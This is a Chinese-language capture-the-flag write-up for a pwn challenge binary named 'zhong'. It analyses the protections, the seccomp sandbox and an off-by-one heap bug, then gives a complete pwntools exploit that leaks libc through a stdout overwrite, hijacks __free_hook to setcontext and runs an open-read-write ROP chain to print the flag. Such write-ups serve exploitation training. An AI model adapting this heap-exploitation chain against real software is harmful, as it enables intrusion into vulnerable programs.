

检查程序

```
[*] '/home/rencvn/Desktop/chuti/zhong/zhong'  
Arch:      amd64-64-little  
RELRO:     Full RELRO  
Stack:     Canary found  
NX:        NX enabled  
PIE:       PIE enabled
```

保护机制全开，放到ida里分析

程序很多地方都加了花指令，导致没有办法正常的反编译，所以先去花指令之后就可以看到正常的内容

```
● 8  setvbuf(stdin, 0LL, 1, 0LL);
● 9  while ( 1 )
    10 {
● 11     while ( 1 )
    12     {
● 13         while ( 1 )
    14         {
● 15             sandbox();
● 16             puts("Welcome to pwnworld\n");
● 17             menu();
● 18             __isoc99_scanf("%d", &v3);
● 19             if ( v3 != 2 )
● 20                 break;
● 21             show();
    22         }
● 23     if ( v3 > 2 )
● 24         break;
● 25     if ( v3 != 1 )
● 26         goto LABEL_13;
● 27     add();
    28 }
● 29 if ( v3 == 3 )
    30 {
● 31     edit();
    32 }
    33 else
    34 {
● 35     if ( v3 != 4 )
    36 LABEL_13:
● 37     exit(1);
● 38     del();
    39 }
```

```
    30
● 31  v27 = __readfsqword(0x28u);
● 32  v3 = 32;
● 33  v4 = 0;
● 34  v5 = 0;
● 35  v6 = 4;
● 36  v7 = 21;
```

```
● 37 v8 = 0;
● 38 v9 = 2;
● 39 v10 = -1073741762;
● 40 v11 = 32;
● 41 v12 = 0;
● 42 v13 = 0;
● 43 v14 = 0;
● 44 v15 = 21;
● 45 v16 = 0;
● 46 v17 = 1;
● 47 v18 = 59;
● 48 v19 = 6;
● 49 v20 = 0;
● 50 v21 = 0;
● 51 v22 = 0;
● 52 v23 = 6;
● 53 v24 = 0;
● 54 v25 = 0;
● 55 v26 = 2147418112;
● 56 v1 = 6;
● 57 v2 = &v3;
● 58 prctl(38, 1LL, 0LL, 0LL, 0LL);
● 59 prctl(22, 2LL, &v1);
● 60 return __readfsqword(0x28u) ^ v27;
● 61 }
```

发现程序开启了沙箱，禁用里execv，所以我们只能通过orw去读flag

```

1 unsigned __int64 edit()
2 {
3     size_t v0; // rax
4     int v2; // [rsp+4h] [rbp-Ch] BYREF
5     unsigned __int64 v3; // [rsp+8h] [rbp-8h]
6
7     v3 = __readfsqword(0x28u);
8     puts("Which one?");
9     __isoc99_scanf("%d", &v2);
10    if ( v2 < 0 || v2 > 6 || !*((_QWORD *)&heap_list + v2) )
11    {
12        puts("You can't do that");
13        exit(1);
14    }
15    puts("content:");
16    v0 = strlen(*(const char **)&heap_list + v2);
17    read(0, *(void **)&heap_list + v2, v0);
18    return __readfsqword(0x28u) ^ v3;
19 }

```

edit函数存在典型的offbyone漏洞，我们可以通过溢出的一个字节，劫持下一个堆块的size，构造出一个overlap，最后我们通过劫持overlap中堆块的fd指针即可

```

1 int show()
2 {
3     return puts("nonono");
4 }

```

并且程序阉割里show函数，所以我们需要构造出一个大的堆块，释放后进去unsortedbin，利用地址残留，残留到控制的fd指针，充分利用局部写打stdout去泄漏地址。

最后exp

```

#!/usr/bin/env python
#coding=utf-8

from pwn import*

```

```

while True:

    try:

        io = process('./zhong')
        elf = ELF('./zhong')
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
        context(log_level='debug',os='linux',arch='amd64')

        def choice(c):
            io.recvuntil("4:Drop one")
            io.sendline(str(c))

        def add(index,size,content):
            choice(1)
            io.recvuntil("?")
            io.sendline(str(index))
            io.recvuntil("size:")
            io.sendline(str(size))
            io.recvuntil("content:")
            io.send(content)

        def edit(index,content):
            choice(3)
            io.recvuntil("?")
            io.sendline(str(index))
            io.recvuntil("content:")
            io.send(content)

        def free(index):
            choice(4)
            io.recvuntil("?")
            io.sendline(str(index))

        for i in range(7):
            add(i,0xe0,'AAAA')

        for i in range(7):
            free(i)

        add(0,0x68,'C'*0x68)
        add(1,0x58,'DDDD')
        add(2,0x68,'XXXX')
        add(3,0x68,p64(0) + p64(0)+p64(0xf0) + p64(0x51))
        add(4,0x68,'GGGG')
        edit(0,'A'*0x68 + '\xf1')

        free(2)
        free(1)

```

```

add(2,0x58,'j'*0x58)
add(1,0x20,'\x60\xe7')
edit(2,'j'*0x58 + '\x71')
#gdb.attach(io)
add(5,0x68,'llll')
add(6,0x68,p64(0xfbad1800)+p64(0)*3+b'\x00')

leak = u64(io.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = leak + 0x38 - libc.sym['__free_hook']
fh = leak + 0x38
system = libc_base + libc.sym['system']
setcontext = libc.sym['setcontext'] + libc_base +53
syscall = next(libc.search(asm("syscall\nret")))+libc_base

success('leak      ==> ' + hex(leak))
success('libc_base ==> ' + hex(libc_base))
success('free_hook ==> ' + hex(fh))
success('system    ==> ' + hex(system))

free(5)
add(5,0x50,'AAAA')
free(5)
free(2)
free(4)
free(3)
free(1)
add(2,0xf8,'A'*0xf8)
add(3,0x48,'A'*0x48)
add(4,0x48,'A'*0x48)
edit(2,'/bin/sh\x00'.ljust(0xf8,b'\x00')+b'\xa1')
free(3)
free(4)
add(3,0x90,(b'A'*0x40 + p64(0) + p64(0x51) + p64(fh)).ljust(0x90,b'A'))
add(5,0x48,b'A'*0x48)
add(1,0x48,p64(setcontext))
#gdb.attach(io)
add(4,0xf0,b'A'*0xf0)

frame = SigreturnFrame()
frame.rsp = (fh&0xffffffffffffff00)+8
frame.rax = 0
frame.rdi = 0
frame.rsi = fh&0xffffffffffffff00
frame.rdx = 0x2000
frame.rip = syscall

edit(5,bytes(frame)[0:0x40])
edit(4,bytes(frame)[0x50:0x50+0xf0])

```

```
free(5)
```

```
layout = [next(libc.search(asm('pop rdi\nret')))+libc_base
, fh&0xffffffffffffff000
, next(libc.search(asm('pop rsi\nret')))+libc_base
, 0
, next(libc.search(asm('pop rdx\nret')))+libc_base
, 0
, next(libc.search(asm('pop rax\nret')))+libc_base
, 2
, syscall
, next(libc.search(asm('pop rdi\nret')))+libc_base
, 3
, next(libc.search(asm('pop rsi\nret')))+libc_base
, (fh&0xffffffffffffff000)+0x200
, next(libc.search(asm('pop rdx\nret')))+libc_base
, 0x30
, next(libc.search(asm('pop rax\nret')))+libc_base
, 0
, syscall
, next(libc.search(asm('pop rdi\nret')))+libc_base
, 1
, next(libc.search(asm('pop rsi\nret')))+libc_base
, (fh&0xffffffffffffff000)+0x200
, next(libc.search(asm('pop rdx\nret')))+libc_base
, 0x30
, next(libc.search(asm('pop rax\nret')))+libc_base
, 1
, syscall]
shellcode=b'./flag'.ljust(8,b'\x00')+flat(layout)
io.sendline(shellcode)

io.interactive()
```

```
except Exception as e:
    io.close()
    continue
else:
    continue
```